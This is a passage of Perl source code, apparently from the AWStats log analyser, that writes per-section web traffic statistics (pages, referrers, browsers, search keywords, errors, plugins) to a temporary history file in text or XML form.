6754
                print HISTORYTMP "\n";
 
6755
                if ($xml) {
 
6756
                        print HISTORYTMP
 
6757
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'EMailsShown'}</sortfor><comment>\n";
 
6758
                }
 
6759
                print HISTORYTMP "# EMail - Hits - Bandwidth - Last visit\n";
 
6760
                print HISTORYTMP
 
6761
"# The $MaxNbOf{'EMailsShown'} first hits must be first (order not required for others)\n";
 
6762
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
6763
                print HISTORYTMP "${xmlbb}BEGIN_EMAILRECEIVER${xmlbs}"
 
6764
                  . ( scalar keys %_emailr_h )
 
6765
                  . "${xmlbe}\n";
 
6766
 
 
6767
# We save receiver email list in score sorted order to get a -output faster and with less use of memory.
 
6768
                &BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emailr_h,
 
6769
                        \%_emailr_h );
 
6770
                my %keysinkeylist = ();
 
6771
                foreach (@keylist) {
 
6772
                        $keysinkeylist{$_} = 1;
 
6773
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
 
6774
                          . int( $_emailr_h{$_} || 0 )
 
6775
                          . "${xmlrs}"
 
6776
                          . int( $_emailr_k{$_} || 0 )
 
6777
                          . "${xmlrs}$_emailr_l{$_}${xmlre}\n";
 
6778
                }
 
6779
                foreach ( keys %_emailr_h ) {
 
6780
                        if ( $keysinkeylist{$_} ) { next; }
 
6781
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
 
6782
                          . int( $_emailr_h{$_} || 0 )
 
6783
                          . "${xmlrs}"
 
6784
                          . int( $_emailr_k{$_} || 0 )
 
6785
                          . "${xmlrs}$_emailr_l{$_}${xmlre}\n";
 
6786
                }
 
6787
                print HISTORYTMP "${xmleb}END_EMAILRECEIVER${xmlee}\n";
 
6788
        }
 
6789
 
 
6790
        # Navigation
 
6791
        if ( $sectiontosave eq 'session' )
 
6792
        {    # This section must be saved after VISITOR section is read
 
6793
                print HISTORYTMP "\n";
 
6794
                if ($xml) {
 
6795
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
 
6796
                }
 
6797
                print HISTORYTMP "# Session range - Number of visits\n";
 
6798
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
6799
                print HISTORYTMP "${xmlbb}BEGIN_SESSION${xmlbs}"
 
6800
                  . ( scalar keys %_session )
 
6801
                  . "${xmlbe}\n";
 
6802
                foreach ( keys %_session ) {
 
6803
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
 
6804
                          . int( $_session{$_} )
 
6805
                          . "${xmlre}\n";
 
6806
                }
 
6807
                print HISTORYTMP "${xmleb}END_SESSION${xmlee}\n";
 
6808
        }
 
6809
        if ( $sectiontosave eq 'sider' )
 
6810
        {    # This section must be saved after VISITOR section is read
 
6811
                print HISTORYTMP "\n";
 
6812
                if ($xml) {
 
6813
                        print HISTORYTMP
 
6814
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'PageShown'}</sortfor><comment>\n";
 
6815
                }
 
6816
                print HISTORYTMP "# URL - Pages - Bandwidth - Entry - Exit\n";
 
6817
                print HISTORYTMP
 
6818
"# The $MaxNbOf{'PageShown'} first Pages must be first (order not required for others)\n";
 
6819
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
6820
                print HISTORYTMP "${xmlbb}BEGIN_SIDER${xmlbs}"
 
6821
                  . ( scalar keys %_url_p )
 
6822
                  . "${xmlbe}\n";
 
6823
 
 
6824
# We save page list in score sorted order to get a -output faster and with less use of memory.
 
6825
                &BuildKeyList( $MaxNbOf{'PageShown'}, $MinHit{'File'}, \%_url_p,
 
6826
                        \%_url_p );
 
6827
                %keysinkeylist = ();
 
6828
                foreach (@keylist) {
 
6829
                        $keysinkeylist{$_} = 1;
 
6830
                        my $newkey = $_;
 
6831
                        $newkey =~ s/([^:])\/\//$1\//g
 
6832
                          ; # Because some targeted url were taped with 2 / (Ex: //rep//file.htm). We must keep http://rep/file.htm
 
6833
                        print HISTORYTMP "${xmlrb}"
 
6834
                          . XMLEncodeForHisto($newkey)
 
6835
                          . "${xmlrs}"
 
6836
                          . int( $_url_p{$_} || 0 )
 
6837
                          . "${xmlrs}"
 
6838
                          . int( $_url_k{$_} || 0 )
 
6839
                          . "${xmlrs}"
 
6840
                          . int( $_url_e{$_} || 0 )
 
6841
                          . "${xmlrs}"
 
6842
                          . int( $_url_x{$_} || 0 )
 
6843
                          . "${xmlre}\n";
 
6844
                }
 
6845
                foreach ( keys %_url_p ) {
 
6846
                        if ( $keysinkeylist{$_} ) { next; }
 
6847
                        my $newkey = $_;
 
6848
                        $newkey =~ s/([^:])\/\//$1\//g
 
6849
                          ; # Because some targeted url were taped with 2 / (Ex: //rep//file.htm). We must keep http://rep/file.htm
 
6850
                        print HISTORYTMP "${xmlrb}"
 
6851
                          . XMLEncodeForHisto($newkey)
 
6852
                          . "${xmlrs}"
 
6853
                          . int( $_url_p{$_} || 0 )
 
6854
                          . "${xmlrs}"
 
6855
                          . int( $_url_k{$_} || 0 )
 
6856
                          . "${xmlrs}"
 
6857
                          . int( $_url_e{$_} || 0 )
 
6858
                          . "${xmlrs}"
 
6859
                          . int( $_url_x{$_} || 0 )
 
6860
                          . "${xmlre}\n";
 
6861
                }
 
6862
                print HISTORYTMP "${xmleb}END_SIDER${xmlee}\n";
 
6863
        }
 
6864
        if ( $sectiontosave eq 'filetypes' ) {
 
6865
                print HISTORYTMP "\n";
 
6866
                if ($xml) {
 
6867
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
 
6868
                }
 
6869
                print HISTORYTMP
 
6870
"# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression\n";
 
6871
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
6872
                print HISTORYTMP "${xmlbb}BEGIN_FILETYPES${xmlbs}"
 
6873
                  . ( scalar keys %_filetypes_h )
 
6874
                  . "${xmlbe}\n";
 
6875
                foreach ( keys %_filetypes_h ) {
 
6876
                        my $hits        = $_filetypes_h{$_}      || 0;
 
6877
                        my $bytes       = $_filetypes_k{$_}      || 0;
 
6878
                        my $bytesbefore = $_filetypes_gz_in{$_}  || 0;
 
6879
                        my $bytesafter  = $_filetypes_gz_out{$_} || 0;
 
6880
                        print HISTORYTMP
 
6881
"${xmlrb}$_${xmlrs}$hits${xmlrs}$bytes${xmlrs}$bytesbefore${xmlrs}$bytesafter${xmlre}\n";
 
6882
                }
 
6883
                print HISTORYTMP "${xmleb}END_FILETYPES${xmlee}\n";
 
6884
        }
 
6885
        if ( $sectiontosave eq 'downloads' ) {
 
6886
                print HISTORYTMP "\n";
 
6887
                if ($xml) {
 
6888
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
 
6889
                }
 
6890
                print HISTORYTMP "# Downloads - Hits - Bandwidth\n";
 
6891
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
6892
                print HISTORYTMP "${xmlbb}BEGIN_DOWNLOADS${xmlbs}"
 
6893
                  . ( scalar keys %_downloads )
 
6894
                  . "${xmlbe}\n";
 
6895
                for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){
 
6896
                        print HISTORYTMP "${xmlrb}"
 
6897
                          . XMLEncodeForHisto($u)
 
6898
                          . "${xmlrs}"
 
6899
                          . XMLEncodeForHisto($_downloads{$u}->{'AWSTATS_HITS'} || 0)
 
6900
                          . "${xmlrs}"
 
6901
                          . XMLEncodeForHisto($_downloads{$u}->{'AWSTATS_206'} || 0)
 
6902
                          ."${xmlrs}"
 
6903
                          . XMLEncodeForHisto($_downloads{$u}->{'AWSTATS_SIZE'} || 0)
 
6904
                          ."${xmlre}\n";
 
6905
                }
 
6906
                print HISTORYTMP "${xmleb}END_DOWNLOADS${xmlee}\n";
 
6907
        }
 
6908
        if ( $sectiontosave eq 'os' ) {
 
6909
                print HISTORYTMP "\n";
 
6910
                if ($xml) {
 
6911
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
 
6912
                }
 
6913
                print HISTORYTMP "# OS ID - Hits\n";
 
6914
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
6915
                print HISTORYTMP "${xmlbb}BEGIN_OS${xmlbs}"
 
6916
                  . ( scalar keys %_os_h )
 
6917
                  . "${xmlbe}\n";
 
6918
                foreach ( keys %_os_h ) {
 
6919
                        print HISTORYTMP "${xmlrb}$_${xmlrs}$_os_h{$_}${xmlre}\n";
 
6920
                }
 
6921
                print HISTORYTMP "${xmleb}END_OS${xmlee}\n";
 
6922
        }
 
6923
        if ( $sectiontosave eq 'browser' ) {
 
6924
                print HISTORYTMP "\n";
 
6925
                if ($xml) {
 
6926
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
 
6927
                }
 
6928
                print HISTORYTMP "# Browser ID - Hits\n";
 
6929
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
6930
                print HISTORYTMP "${xmlbb}BEGIN_BROWSER${xmlbs}"
 
6931
                  . ( scalar keys %_browser_h )
 
6932
                  . "${xmlbe}\n";
 
6933
                foreach ( keys %_browser_h ) {
 
6934
                        print HISTORYTMP "${xmlrb}$_${xmlrs}$_browser_h{$_}${xmlre}\n";
 
6935
                }
 
6936
                print HISTORYTMP "${xmleb}END_BROWSER${xmlee}\n";
 
6937
        }
 
6938
        if ( $sectiontosave eq 'screensize' ) {
 
6939
                print HISTORYTMP "\n";
 
6940
                if ($xml) {
 
6941
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
 
6942
                }
 
6943
                print HISTORYTMP "# Screen size - Hits\n";
 
6944
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
6945
                print HISTORYTMP "${xmlbb}BEGIN_SCREENSIZE${xmlbs}"
 
6946
                  . ( scalar keys %_screensize_h )
 
6947
                  . "${xmlbe}\n";
 
6948
                foreach ( keys %_screensize_h ) {
 
6949
                        print HISTORYTMP "${xmlrb}$_${xmlrs}$_screensize_h{$_}${xmlre}\n";
 
6950
                }
 
6951
                print HISTORYTMP "${xmleb}END_SCREENSIZE${xmlee}\n";
 
6952
        }
 
6953
 
 
6954
        # Referer
 
6955
        if ( $sectiontosave eq 'unknownreferer' ) {
 
6956
                print HISTORYTMP "\n";
 
6957
                if ($xml) {
 
6958
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
 
6959
                }
 
6960
                print HISTORYTMP "# Unknown referer OS - Last visit date\n";
 
6961
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
6962
                print HISTORYTMP "${xmlbb}BEGIN_UNKNOWNREFERER${xmlbs}"
 
6963
                  . ( scalar keys %_unknownreferer_l )
 
6964
                  . "${xmlbe}\n";
 
6965
                foreach ( keys %_unknownreferer_l ) {
 
6966
                        print HISTORYTMP "${xmlrb}"
 
6967
                          . XMLEncodeForHisto($_)
 
6968
                          . "${xmlrs}$_unknownreferer_l{$_}${xmlre}\n";
 
6969
                }
 
6970
                print HISTORYTMP "${xmleb}END_UNKNOWNREFERER${xmlee}\n";
 
6971
        }
 
6972
        if ( $sectiontosave eq 'unknownrefererbrowser' ) {
 
6973
                print HISTORYTMP "\n";
 
6974
                if ($xml) {
 
6975
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
 
6976
                }
 
6977
                print HISTORYTMP "# Unknown referer Browser - Last visit date\n";
 
6978
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
6979
                print HISTORYTMP "${xmlbb}BEGIN_UNKNOWNREFERERBROWSER${xmlbs}"
 
6980
                  . ( scalar keys %_unknownrefererbrowser_l )
 
6981
                  . "${xmlbe}\n";
 
6982
                foreach ( keys %_unknownrefererbrowser_l ) {
 
6983
                        print HISTORYTMP "${xmlrb}"
 
6984
                          . XMLEncodeForHisto($_)
 
6985
                          . "${xmlrs}$_unknownrefererbrowser_l{$_}${xmlre}\n";
 
6986
                }
 
6987
                print HISTORYTMP "${xmleb}END_UNKNOWNREFERERBROWSER${xmlee}\n";
 
6988
        }
 
6989
        if ( $sectiontosave eq 'origin' ) {
 
6990
                print HISTORYTMP "\n";
 
6991
                if ($xml) {
 
6992
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
 
6993
                }
 
6994
                print HISTORYTMP "# Origin - Pages - Hits \n";
 
6995
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
6996
                print HISTORYTMP "${xmlbb}BEGIN_ORIGIN${xmlbs}6" . "${xmlbe}\n";
 
6997
                print HISTORYTMP "${xmlrb}From0${xmlrs}"
 
6998
                  . int( $_from_p[0] )
 
6999
                  . "${xmlrs}"
 
7000
                  . int( $_from_h[0] )
 
7001
                  . "${xmlre}\n";
 
7002
                print HISTORYTMP "${xmlrb}From1${xmlrs}"
 
7003
                  . int( $_from_p[1] )
 
7004
                  . "${xmlrs}"
 
7005
                  . int( $_from_h[1] )
 
7006
                  . "${xmlre}\n";
 
7007
                print HISTORYTMP "${xmlrb}From2${xmlrs}"
 
7008
                  . int( $_from_p[2] )
 
7009
                  . "${xmlrs}"
 
7010
                  . int( $_from_h[2] )
 
7011
                  . "${xmlre}\n";
 
7012
                print HISTORYTMP "${xmlrb}From3${xmlrs}"
 
7013
                  . int( $_from_p[3] )
 
7014
                  . "${xmlrs}"
 
7015
                  . int( $_from_h[3] )
 
7016
                  . "${xmlre}\n";
 
7017
                print HISTORYTMP "${xmlrb}From4${xmlrs}"
 
7018
                  . int( $_from_p[4] )
 
7019
                  . "${xmlrs}"
 
7020
                  . int( $_from_h[4] )
 
7021
                  . "${xmlre}\n";    # Same site
 
7022
                print HISTORYTMP "${xmlrb}From5${xmlrs}"
 
7023
                  . int( $_from_p[5] )
 
7024
                  . "${xmlrs}"
 
7025
                  . int( $_from_h[5] )
 
7026
                  . "${xmlre}\n";    # News
 
7027
                print HISTORYTMP "${xmleb}END_ORIGIN${xmlee}\n";
 
7028
        }
 
7029
        if ( $sectiontosave eq 'sereferrals' ) {
 
7030
                print HISTORYTMP "\n";
 
7031
                if ($xml) {
 
7032
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
 
7033
                }
 
7034
                print HISTORYTMP "# Search engine referers ID - Pages - Hits\n";
 
7035
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
7036
                print HISTORYTMP "${xmlbb}BEGIN_SEREFERRALS${xmlbs}"
 
7037
                  . ( scalar keys %_se_referrals_h )
 
7038
                  . "${xmlbe}\n";
 
7039
                foreach ( keys %_se_referrals_h ) {
 
7040
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
 
7041
                          . int( $_se_referrals_p{$_} || 0 )
 
7042
                          . "${xmlrs}$_se_referrals_h{$_}${xmlre}\n";
 
7043
                }
 
7044
                print HISTORYTMP "${xmleb}END_SEREFERRALS${xmlee}\n";
 
7045
        }
 
7046
        if ( $sectiontosave eq 'pagerefs' ) {
 
7047
                print HISTORYTMP "\n";
 
7048
                if ($xml) {
 
7049
                        print HISTORYTMP
 
7050
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'RefererShown'}</sortfor><comment>\n";
 
7051
                }
 
7052
                print HISTORYTMP "# External page referers - Pages - Hits\n";
 
7053
                print HISTORYTMP
 
7054
"# The $MaxNbOf{'RefererShown'} first Pages must be first (order not required for others)\n";
 
7055
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
7056
                print HISTORYTMP "${xmlbb}BEGIN_PAGEREFS${xmlbs}"
 
7057
                  . ( scalar keys %_pagesrefs_h )
 
7058
                  . "${xmlbe}\n";
 
7059
 
 
7060
# We save page list in score sorted order to get a -output faster and with less use of memory.
 
7061
                &BuildKeyList(
 
7062
                        $MaxNbOf{'RefererShown'}, $MinHit{'Refer'},
 
7063
                        \%_pagesrefs_h,           \%_pagesrefs_p
 
7064
                );
 
7065
                %keysinkeylist = ();
 
7066
                foreach (@keylist) {
 
7067
                        $keysinkeylist{$_} = 1;
 
7068
                        my $newkey = $_;
 
7069
                        $newkey =~ s/^http(s|):\/\/([^\/]+)\/$/http$1:\/\/$2/i
 
7070
                          ; # Remove / at end of http://.../ but not at end of http://.../dir/
 
7071
                        print HISTORYTMP "${xmlrb}"
 
7072
                          . XMLEncodeForHisto($newkey)
 
7073
                          . "${xmlrs}"
 
7074
                          . int( $_pagesrefs_p{$_} || 0 )
 
7075
                          . "${xmlrs}$_pagesrefs_h{$_}${xmlre}\n";
 
7076
                }
 
7077
                foreach ( keys %_pagesrefs_h ) {
 
7078
                        if ( $keysinkeylist{$_} ) { next; }
 
7079
                        my $newkey = $_;
 
7080
                        $newkey =~ s/^http(s|):\/\/([^\/]+)\/$/http$1:\/\/$2/i
 
7081
                          ; # Remove / at end of http://.../ but not at end of http://.../dir/
 
7082
                        print HISTORYTMP "${xmlrb}"
 
7083
                          . XMLEncodeForHisto($newkey)
 
7084
                          . "${xmlrs}"
 
7085
                          . int( $_pagesrefs_p{$_} || 0 )
 
7086
                          . "${xmlrs}$_pagesrefs_h{$_}${xmlre}\n";
 
7087
                }
 
7088
                print HISTORYTMP "${xmleb}END_PAGEREFS${xmlee}\n";
 
7089
        }
 
7090
        if ( $sectiontosave eq 'searchwords' ) {
 
7091
 
 
7092
                # Save phrases section
 
7093
                print HISTORYTMP "\n";
 
7094
                if ($xml) {
 
7095
                        print HISTORYTMP
 
7096
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'KeyphrasesShown'}</sortfor><comment>\n";
 
7097
                }
 
7098
                print HISTORYTMP "# Search keyphrases - Number of search\n";
 
7099
                print HISTORYTMP
 
7100
"# The $MaxNbOf{'KeyphrasesShown'} first number of search must be first (order not required for others)\n";
 
7101
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
7102
                print HISTORYTMP "${xmlbb}BEGIN_SEARCHWORDS${xmlbs}"
 
7103
                  . ( scalar keys %_keyphrases )
 
7104
                  . "${xmlbe}\n";
 
7105
 
 
7106
                # We will also build _keywords
 
7107
                %_keywords = ();
 
7108
 
 
7109
# We save key list in score sorted order to get a -output faster and with less use of memory.
 
7110
                &BuildKeyList( $MaxNbOf{'KeywordsShown'},
 
7111
                        $MinHit{'Keyword'}, \%_keyphrases, \%_keyphrases );
 
7112
                %keysinkeylist = ();
 
7113
                foreach my $key (@keylist) {
 
7114
                        $keysinkeylist{$key} = 1;
 
7115
                        my $keyphrase = $key;
 
7116
                        $keyphrase =~ tr/ /\+/s;
 
7117
                        print HISTORYTMP "${xmlrb}"
 
7118
                          . XMLEncodeForHisto($keyphrase)
 
7119
                          . "${xmlrs}"
 
7120
                          . $_keyphrases{$key}
 
7121
                          . "${xmlre}\n";
 
7122
                        foreach ( split( /\+/, $key ) ) {
 
7123
                                $_keywords{$_} += $_keyphrases{$key};
 
7124
                        }    # To init %_keywords
 
7125
                }
 
7126
                foreach my $key ( keys %_keyphrases ) {
 
7127
                        if ( $keysinkeylist{$key} ) { next; }
 
7128
                        my $keyphrase = $key;
 
7129
                        $keyphrase =~ tr/ /\+/s;
 
7130
                        print HISTORYTMP "${xmlrb}"
 
7131
                          . XMLEncodeForHisto($keyphrase)
 
7132
                          . "${xmlrs}"
 
7133
                          . $_keyphrases{$key}
 
7134
                          . "${xmlre}\n";
 
7135
                        foreach ( split( /\+/, $key ) ) {
 
7136
                                $_keywords{$_} += $_keyphrases{$key};
 
7137
                        }    # To init %_keywords
 
7138
                }
 
7139
                print HISTORYTMP "${xmleb}END_SEARCHWORDS${xmlee}\n";
 
7140
 
 
7141
                # Now save keywords section
 
7142
                print HISTORYTMP "\n";
 
7143
                if ($xml) {
 
7144
                        print HISTORYTMP
 
7145
"<section id='keywords'><sortfor>$MaxNbOf{'KeywordsShown'}</sortfor><comment>\n";
 
7146
                }
 
7147
                print HISTORYTMP "# Search keywords - Number of search\n";
 
7148
                print HISTORYTMP
 
7149
"# The $MaxNbOf{'KeywordsShown'} first number of search must be first (order not required for others)\n";
 
7150
                $ValueInFile{"keywords"} = tell HISTORYTMP;
 
7151
                print HISTORYTMP "${xmlbb}BEGIN_KEYWORDS${xmlbs}"
 
7152
                  . ( scalar keys %_keywords )
 
7153
                  . "${xmlbe}\n";
 
7154
 
 
7155
# We save key list in score sorted order to get a -output faster and with less use of memory.
 
7156
                &BuildKeyList( $MaxNbOf{'KeywordsShown'},
 
7157
                        $MinHit{'Keyword'}, \%_keywords, \%_keywords );
 
7158
                %keysinkeylist = ();
 
7159
                foreach (@keylist) {
 
7160
                        $keysinkeylist{$_} = 1;
 
7161
                        my $keyword = $_;
 
7162
                        print HISTORYTMP "${xmlrb}"
 
7163
                          . XMLEncodeForHisto($keyword)
 
7164
                          . "${xmlrs}"
 
7165
                          . $_keywords{$_}
 
7166
                          . "${xmlre}\n";
 
7167
                }
 
7168
                foreach ( keys %_keywords ) {
 
7169
                        if ( $keysinkeylist{$_} ) { next; }
 
7170
                        my $keyword = $_;
 
7171
                        print HISTORYTMP "${xmlrb}"
 
7172
                          . XMLEncodeForHisto($keyword)
 
7173
                          . "${xmlrs}"
 
7174
                          . $_keywords{$_}
 
7175
                          . "${xmlre}\n";
 
7176
                }
 
7177
                print HISTORYTMP "${xmleb}END_KEYWORDS${xmlee}\n";
 
7178
 
 
7179
        }
 
7180
 
 
7181
        # Other - Errors
 
7182
        if ( $sectiontosave eq 'cluster' ) {
 
7183
                print HISTORYTMP "\n";
 
7184
                if ($xml) {
 
7185
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
 
7186
                }
 
7187
                print HISTORYTMP "# Cluster ID - Pages - Hits - Bandwidth\n";
 
7188
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
7189
                print HISTORYTMP "${xmlbb}BEGIN_CLUSTER${xmlbs}"
 
7190
                  . ( scalar keys %_cluster_h )
 
7191
                  . "${xmlbe}\n";
 
7192
                foreach ( keys %_cluster_h ) {
 
7193
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
 
7194
                          . int( $_cluster_p{$_} || 0 )
 
7195
                          . "${xmlrs}"
 
7196
                          . int( $_cluster_h{$_} || 0 )
 
7197
                          . "${xmlrs}"
 
7198
                          . int( $_cluster_k{$_} || 0 )
 
7199
                          . "${xmlre}\n";
 
7200
                }
 
7201
                print HISTORYTMP "${xmleb}END_CLUSTER${xmlee}\n";
 
7202
        }
 
7203
        if ( $sectiontosave eq 'misc' ) {
 
7204
                print HISTORYTMP "\n";
 
7205
                if ($xml) {
 
7206
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
 
7207
                }
 
7208
                print HISTORYTMP "# Misc ID - Pages - Hits - Bandwidth\n";
 
7209
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
7210
                print HISTORYTMP "${xmlbb}BEGIN_MISC${xmlbs}"
 
7211
                  . ( scalar keys %MiscListCalc )
 
7212
                  . "${xmlbe}\n";
 
7213
                foreach ( keys %MiscListCalc ) {
 
7214
                        print HISTORYTMP "${xmlrb}$_${xmlrs}"
 
7215
                          . int( $_misc_p{$_} || 0 )
 
7216
                          . "${xmlrs}"
 
7217
                          . int( $_misc_h{$_} || 0 )
 
7218
                          . "${xmlrs}"
 
7219
                          . int( $_misc_k{$_} || 0 )
 
7220
                          . "${xmlre}\n";
 
7221
                }
 
7222
                print HISTORYTMP "${xmleb}END_MISC${xmlee}\n";
 
7223
        }
 
7224
        if ( $sectiontosave eq 'errors' ) {
 
7225
                print HISTORYTMP "\n";
 
7226
                if ($xml) {
 
7227
                        print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
 
7228
                }
 
7229
                print HISTORYTMP "# Errors - Hits - Bandwidth\n";
 
7230
                $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
7231
                print HISTORYTMP "${xmlbb}BEGIN_ERRORS${xmlbs}"
 
7232
                  . ( scalar keys %_errors_h )
 
7233
                  . "${xmlbe}\n";
 
7234
                foreach ( keys %_errors_h ) {
 
7235
                        print HISTORYTMP "${xmlrb}$_${xmlrs}$_errors_h{$_}${xmlrs}"
 
7236
                          . int( $_errors_k{$_} || 0 )
 
7237
                          . "${xmlre}\n";
 
7238
                }
 
7239
                print HISTORYTMP "${xmleb}END_ERRORS${xmlee}\n";
 
7240
        }
 
7241
 
 
7242
        # Other - Trapped errors
 
7243
        foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) {
 
7244
                if ( $sectiontosave eq "sider_$code" ) {
 
7245
                        print HISTORYTMP "\n";
 
7246
                        if ($xml) {
 
7247
                                print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
 
7248
                        }
 
7249
                        print HISTORYTMP
 
7250
                          "# URL with $code errors - Hits - Last URL referer\n";
 
7251
                        $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
7252
                        print HISTORYTMP "${xmlbb}BEGIN_SIDER_$code${xmlbs}"
 
7253
                          . ( scalar keys %_sider404_h )
 
7254
                          . "${xmlbe}\n";
 
7255
                        foreach ( keys %_sider404_h ) {
 
7256
                                my $newkey = $_;
 
7257
                                my $newreferer = $_referer404_h{$_} || '';
 
7258
                                print HISTORYTMP "${xmlrb}"
 
7259
                                  . XMLEncodeForHisto($newkey)
 
7260
                                  . "${xmlrs}$_sider404_h{$_}${xmlrs}"
 
7261
                                  . XMLEncodeForHisto($newreferer)
 
7262
                                  . "${xmlre}\n";
 
7263
                        }
 
7264
                        print HISTORYTMP "${xmleb}END_SIDER_$code${xmlee}\n";
 
7265
                }
 
7266
        }
 
7267
 
 
7268
        # Other - Extra stats sections
 
7269
        foreach my $extranum ( 1 .. @ExtraName - 1 ) {
 
7270
                if ( $sectiontosave eq "extra_$extranum" ) {
 
7271
                        print HISTORYTMP "\n";
 
7272
                        if ($xml) {
 
7273
                                print HISTORYTMP
 
7274
"<section id='$sectiontosave'><sortfor>$MaxNbOfExtra[$extranum]</sortfor><comment>\n";
 
7275
                        }
 
7276
                        print HISTORYTMP
 
7277
                          "# Extra key - Pages - Hits - Bandwidth - Last access\n";
 
7278
                        print HISTORYTMP
 
7279
                          "# The $MaxNbOfExtra[$extranum] first number of hits are first\n";
 
7280
                        $ValueInFile{$sectiontosave} = tell HISTORYTMP;
 
7281
                        print HISTORYTMP "${xmlbb}BEGIN_EXTRA_$extranum${xmlbs}"
 
7282
                          . scalar( keys %{ '_section_' . $extranum . '_h' } )
 
7283
                          . "${xmlbe}\n";
 
7284
                        &BuildKeyList(
 
7285
                                $MaxNbOfExtra[$extranum],
 
7286
                                $MinHitExtra[$extranum],
 
7287
                                \%{ '_section_' . $extranum . '_h' },
 
7288
                                \%{ '_section_' . $extranum . '_p' }
 
7289
                        );
 
7290
                        %keysinkeylist = ();
 
7291
                        foreach (@keylist) {
 
7292
                                $keysinkeylist{$_} = 1;
 
7293
                                my $page       = ${ '_section_' . $extranum . '_p' }{$_} || 0;
 
7294
                                my $bytes      = ${ '_section_' . $extranum . '_k' }{$_} || 0;
 
7295
                                my $lastaccess = ${ '_section_' . $extranum . '_l' }{$_} || '';
 
7296
                                print HISTORYTMP "${xmlrb}"
 
7297
                                  . XMLEncodeForHisto($_)
 
7298
                                  . "${xmlrs}$page${xmlrs}",
 
7299
                                  ${ '_section_' . $extranum . '_h' }{$_},
 
7300
                                  "${xmlrs}$bytes${xmlrs}$lastaccess${xmlre}\n";
 
7301
                                next;
 
7302
                        }
 
7303
                        foreach ( keys %{ '_section_' . $extranum . '_h' } ) {
 
7304
                                if ( $keysinkeylist{$_} ) { next; }
 
7305
                                my $page       = ${ '_section_' . $extranum . '_p' }{$_} || 0;
 
7306
                                my $bytes      = ${ '_section_' . $extranum . '_k' }{$_} || 0;
 
7307
                                my $lastaccess = ${ '_section_' . $extranum . '_l' }{$_} || '';
 
7308
                                print HISTORYTMP "${xmlrb}"
 
7309
                                  . XMLEncodeForHisto($_)
 
7310
                                  . "${xmlrs}$page${xmlrs}",
 
7311
                                  ${ '_section_' . $extranum . '_h' }{$_},
 
7312
                                  "${xmlrs}$bytes${xmlrs}$lastaccess${xmlre}\n";
 
7313
                                next;
 
7314
                        }
 
7315
                        print HISTORYTMP "${xmleb}END_EXTRA_$extranum${xmlee}\n";
 
7316
                }
 
7317
        }
 
7318
 
 
7319
        # Other - Plugin sections
 
7320
        if ( $AtLeastOneSectionPlugin && $sectiontosave =~ /^plugin_(\w+)$/i ) {
 
7321
                my $pluginname = $1;
 
7322
                if ( $PluginsLoaded{'SectionInitHashArray'}{"$pluginname"} ) {
 
7323
 
 
7324
#               my $function="SectionWriteHistory_$pluginname(\$xml,\$xmlbb,\$xmlbs,\$xmlbe,\$xmlrb,\$xmlrs,\$xmlre,\$xmleb,\$xmlee)";
 
7325
#                   eval("$function");
 
7326
                        my $function = "SectionWriteHistory_$pluginname";
 
7327
                        &$function(
 
7328
                                $xml,   $xmlbb, $xmlbs, $xmlbe, $xmlrb,
 
7329
                                $xmlrs, $xmlre, $xmleb, $xmlee
 
7330
                        );
 
7331
                }
 
7332
        }
 
7333
 
 
7334
        %keysinkeylist = ();
 
7335
}
 
7336
 
 
7337
#--------------------------------------------------------------------
 
7338
# Function:     Rename all tmp history file into history
 
7339
# Parameters:   None
 
7340
# Input:        $DirData $PROG $FileSuffix
 
7341
#               $KeepBackupOfHistoricFile $SaveDatabaseFilesWithPermissionsForEveryone
 
7342
# Output:       None
 
7343
# Return:       1 Ok, 0 at least one error (tmp files are removed)
 
7344
#--------------------------------------------------------------------
 
7345
sub Rename_All_Tmp_History {
 
7346
        my $pid      = $$;
 
7347
        my $renameok = 1;
 
7348
 
 
7349
        if ($Debug) {
 
7350
                debug("Call to Rename_All_Tmp_History (FileSuffix=$FileSuffix)");
 
7351
        }
 
7352
 
 
7353
        opendir( DIR, "$DirData" );
 
7354
 
 
7355
        my $datemask;
 
7356
